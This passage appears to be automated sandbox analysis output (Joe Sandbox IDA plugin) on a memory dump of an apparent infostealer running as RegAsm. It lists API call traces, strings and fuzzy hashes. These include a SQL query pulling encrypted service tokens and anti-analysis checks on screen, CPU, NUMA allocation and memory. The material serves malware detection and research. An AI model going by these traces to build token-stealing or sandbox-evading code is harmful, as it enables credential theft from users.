Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

StrStrA.SHLWAPI(00000000,AccountId), ref: 0040BB0B
lstrlenA.KERNEL32(00000000), ref: 0040BBE3
lstrlenA.KERNEL32(00000000), ref: 0040BBF7

Strings

AccountTokens, xrefs: 0040B91A
AccountId, xrefs: 0040BB02
AccountTokens, xrefs: 0040B9A9
SELECT service, encrypted_token FROM token_service, xrefs: 0040BA4B

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpylstrlen$AllocLocallstrcat$memcmpmemset
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 2910778473-1079375795
Opcode ID: 7e8853a93b14599ac83e542f5224995fc26312752b0488732bf05ef3e13e3aee
Instruction ID: 210edd3ff24f1e31e7376af0b8f6dc5aafa9379f597eea4b8f30950ff7929db6
Opcode Fuzzy Hash: 7e8853a93b14599ac83e542f5224995fc26312752b0488732bf05ef3e13e3aee
Instruction Fuzzy Hash: 32A16271911108ABCF14FBA1DC56EEE7339AF54318F40416EF40772191EF786A98CBAA

Function 00413BC0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00413BE5
RegOpenKeyExA.KERNEL32(80000001,00EC0FC8,00000000,00020119,?), ref: 00413C04
RegQueryValueExA.ADVAPI32(?,00EC1CB8,00000000,00000000,00000000,000000FF), ref: 00413C28
lstrcat.KERNEL32(?,00000000), ref: 00413C57
lstrcat.KERNEL32(?,00EC1D90), ref: 00413C6B

Strings

@C, xrefs: 00413CEF

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$OpenQueryValuememset
String ID: @C
API String ID: 558315959-1665380956
Opcode ID: 30dfcac0fb1a40bd2028b370c4714721bc5e06d00faef6feccfaadffd313ee7e
Instruction ID: 29de2a712fc1e2dfcbf32ad4341a25eb625067ccdef54b7492a2b75d077fe01c
Opcode Fuzzy Hash: 30dfcac0fb1a40bd2028b370c4714721bc5e06d00faef6feccfaadffd313ee7e
Instruction Fuzzy Hash: 1841B8B69001086BDB24EBA0DC46FEE733DAB88304F00895DB619561D1FEB957CC8BD5

Function 00416490 Relevance: 10.6, APIs: 7, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,00EAF2A0), ref: 004192B1
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,00EAF3C0), ref: 004192CA
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,00EAF3D8), ref: 004192E2
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,00EAF198), ref: 004192FA
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,00EAF3F0), ref: 00419313
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,00EB2EB0), ref: 0041932B
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,00EB2780), ref: 00419343
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,00EB2760), ref: 0041935C
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,00EAF450), ref: 00419374
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,00EAF468), ref: 0041938C
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,00EAF180), ref: 004193A5
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,00EAF4E0), ref: 004193BD
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,00EB2980), ref: 004193D5
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,00EAF4F8), ref: 004193EE

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 004011D0: CreateDCA.GDI32(00EBA978,00000000,00000000,00000000), ref: 004011E2
Part of subcall function 004011D0: GetDeviceCaps.GDI32(?,0000000A), ref: 004011F1
Part of subcall function 004011D0: ReleaseDC.USER32(00000000,?), ref: 00401200
Part of subcall function 004011D0: ExitProcess.KERNEL32 ref: 00401211

Part of subcall function 00401160: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,004164B7,00420ADA), ref: 0040116A
Part of subcall function 00401160: ExitProcess.KERNEL32 ref: 0040117E

Part of subcall function 00401110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004164BC), ref: 0040112B
Part of subcall function 00401110: VirtualAllocExNuma.KERNEL32(00000000,?,?,004164BC), ref: 00401132
Part of subcall function 00401110: ExitProcess.KERNEL32 ref: 00401143

Part of subcall function 00401220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401258
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401266
Part of subcall function 00401220: ExitProcess.KERNEL32 ref: 00401294

Part of subcall function 00416210: GetUserDefaultLangID.KERNEL32(?,?,004164C6,00420ADA), ref: 00416214

GetUserDefaultLangID.KERNEL32 ref: 004164C6

Part of subcall function 00401190: ExitProcess.KERNEL32 ref: 004011C6

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
Part of subcall function 004172F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
Part of subcall function 00417380: HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
Part of subcall function 00417380: GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00EBAB18,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 0041656A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416588
CloseHandle.KERNEL32(00000000), ref: 00416599
Sleep.KERNEL32(00001770), ref: 004165A4
CloseHandle.KERNEL32(?,00000000,?,00EBAB18,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 004165BA
ExitProcess.KERNEL32 ref: 004165C2

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: AddressProc$Process$Exit$Heap$AllocUserlstrcpy$CloseCreateDefaultEventHandleLangName__aulldiv$CapsComputerCurrentDeviceGlobalInfoMemoryNumaOpenReleaseSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 4014759737-0
Opcode ID: 1080716b928fd667bb929954f4c75fcb8ab473ed041492adf7da214918ab9902
Instruction ID: 0c3fac6cf7b50bea5c1f94bc3db5f65e3227356296d56eb517008ea5f4118e6e
Opcode Fuzzy Hash: 1080716b928fd667bb929954f4c75fcb8ab473ed041492adf7da214918ab9902
Instruction Fuzzy Hash: 03317130941108BACB14FBF2DC56BEE7739AF18318F50452EF513A6092DFBC6985C66A

Function 00404800 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT ref: 0040483A
??_U@YAPAXI@Z.MSVCRT ref: 00404851
??2@YAPAXI@Z.MSVCRT ref: 00404868
lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Strings

<, xrefs: 00404819

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: ??2@CrackInternetlstrlen
String ID: <
API String ID: 184842949-4251816714
Opcode ID: 2f4ab3673443420506f52f30828b11760ea29e85b2ca068c11f228e25f55c4dd
Instruction ID: 93cf72731df314aae8b190796811ac6c8ed605cccc68025416595ba5c6ffb16c
Opcode Fuzzy Hash: 2f4ab3673443420506f52f30828b11760ea29e85b2ca068c11f228e25f55c4dd
Instruction Fuzzy Hash: 0A2129B1D00208ABDF14DFA5E849ADD7B75FF44364F108229F926A72D0DB706A05CF95

Function 00413070 Relevance: 9.1, APIs: 6, Instructions: 122stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00413098

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

strtok_s.MSVCRT ref: 004131E1

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,00EBAB18,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpystrtok_s$lstrlen
String ID:
API String ID: 3184129880-0
Opcode ID: 57923e09db2b1965b2e7f34808721c618ad5f50ea104b346db2e7d3af5ca8ace
Instruction ID: 79a306a9ddce9c6cdb539d8aaa48a82ffdeeeca754e5da37ea89086183b8fd1c
Opcode Fuzzy Hash: 57923e09db2b1965b2e7f34808721c618ad5f50ea104b346db2e7d3af5ca8ace
Instruction Fuzzy Hash: 87416371E01108ABCB04EFE5DC89AEEB774BF44314F00801EE51677251DB78AA95CF9A

Function 00409A10 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
LocalFree.KERNEL32(00410127), ref: 00409AE0
FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: File$Local$AllocChangeCloseCreateFindFreeNotificationReadSize
String ID:
API String ID: 1815715184-0
Opcode ID: 59f5148e752a95e5896d84c0f9ad23db6c307183919c12064814075ca15ef814
Instruction ID: 9a616c59c25f48dda5b41b64f2eda75996ce8e2783f016847e561ac14b63f668
Opcode Fuzzy Hash: 59f5148e752a95e5896d84c0f9ad23db6c307183919c12064814075ca15ef814
Instruction Fuzzy Hash: 5D310AB4A00209EFDB24CF95C895BAE7BB5BF48314F108169E911A73D0D778AD41CFA5

Function 00414260 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,00EC1C58), ref: 004142BB

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 004142E1
lstrcat.KERNEL32(?,?), ref: 00414300
lstrcat.KERNEL32(?,?), ref: 00414314
lstrcat.KERNEL32(?,00EB42A0), ref: 00414327
lstrcat.KERNEL32(?,?), ref: 0041433B
lstrcat.KERNEL32(?,00EC1328), ref: 0041434F

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 00418830: GetFileAttributesA.KERNEL32(00000000,?,0040FF57,?,00000000,?,00000000,00420D97,00420D96), ref: 0041883F

Part of subcall function 00414050: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00414060
Part of subcall function 00414050: HeapAlloc.KERNEL32(00000000), ref: 00414067
Part of subcall function 00414050: wsprintfA.USER32 ref: 00414086
Part of subcall function 00414050: FindFirstFileA.KERNEL32(?,?), ref: 0041409D

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$FileHeap$AllocAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 167551676-0
Opcode ID: d8c1e20cca72af30b7890b1d5764c9598a573b686f6efaf05df2e989e4493db3
Instruction ID: 4fb66fc9f0e99d4a69d4435a00fe4e0f35192ff1271240cc59f29c1c24f4a50f
Opcode Fuzzy Hash: d8c1e20cca72af30b7890b1d5764c9598a573b686f6efaf05df2e989e4493db3
Instruction Fuzzy Hash: 663188B290021CA7CB24FBA0DC85EDD773DAB58708F40459EB60596091EE7897C9CFA8

Function 00417130 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417144
HeapAlloc.KERNEL32(00000000), ref: 0041714B
RegOpenKeyExA.KERNEL32(80000002,00EBB160,00000000,00020119,00000000), ref: 0041717D
RegQueryValueExA.KERNEL32(00000000,00EC18E0,00000000,00000000,?,000000FF), ref: 0041719E

Strings

Windows 11, xrefs: 0041715D

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID: Windows 11
API String ID: 3676486918-2517555085
Opcode ID: 7e52da74aeff6e087cb32fc56a687b6502875dfd8540e0d42b3236aa97f07f61
Instruction ID: 198b37f2a351322ee600fb862932720b373255b2f394089b4190a5419862cb8c
Opcode Fuzzy Hash: 7e52da74aeff6e087cb32fc56a687b6502875dfd8540e0d42b3236aa97f07f61
Instruction Fuzzy Hash: 4C018F74A40208BFEB10DFE4DD49FAE7779EB08710F104098FA0997290D6749A428B64

Function 004171C0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004171D4
HeapAlloc.KERNEL32(00000000), ref: 004171DB
RegOpenKeyExA.KERNEL32(80000002,00EBB160,00000000,00020119,00417159), ref: 004171FB
RegQueryValueExA.KERNEL32(00417159,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0041721A

Strings

CurrentBuildNumber, xrefs: 00417211

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3676486918-1022791448
Opcode ID: 6c07f27ec60b8ac9df4e5178828e9d35e6ab3eda5138c8e540781496da3810dc
Instruction ID: 00cad297c96af00baba5933f046dbcc6cd847f8af16dedc1aa1025fe7f1f3d79
Opcode Fuzzy Hash: 6c07f27ec60b8ac9df4e5178828e9d35e6ab3eda5138c8e540781496da3810dc
Instruction Fuzzy Hash: EE014FB9A40708BFDB10DFE0DC4AFAEB779EB08704F104558FA05A7291D674AA418B55

Function 00401220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
__aulldiv.LIBCMT ref: 00401258
__aulldiv.LIBCMT ref: 00401266
ExitProcess.KERNEL32 ref: 00401294

Strings

@, xrefs: 00401233

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
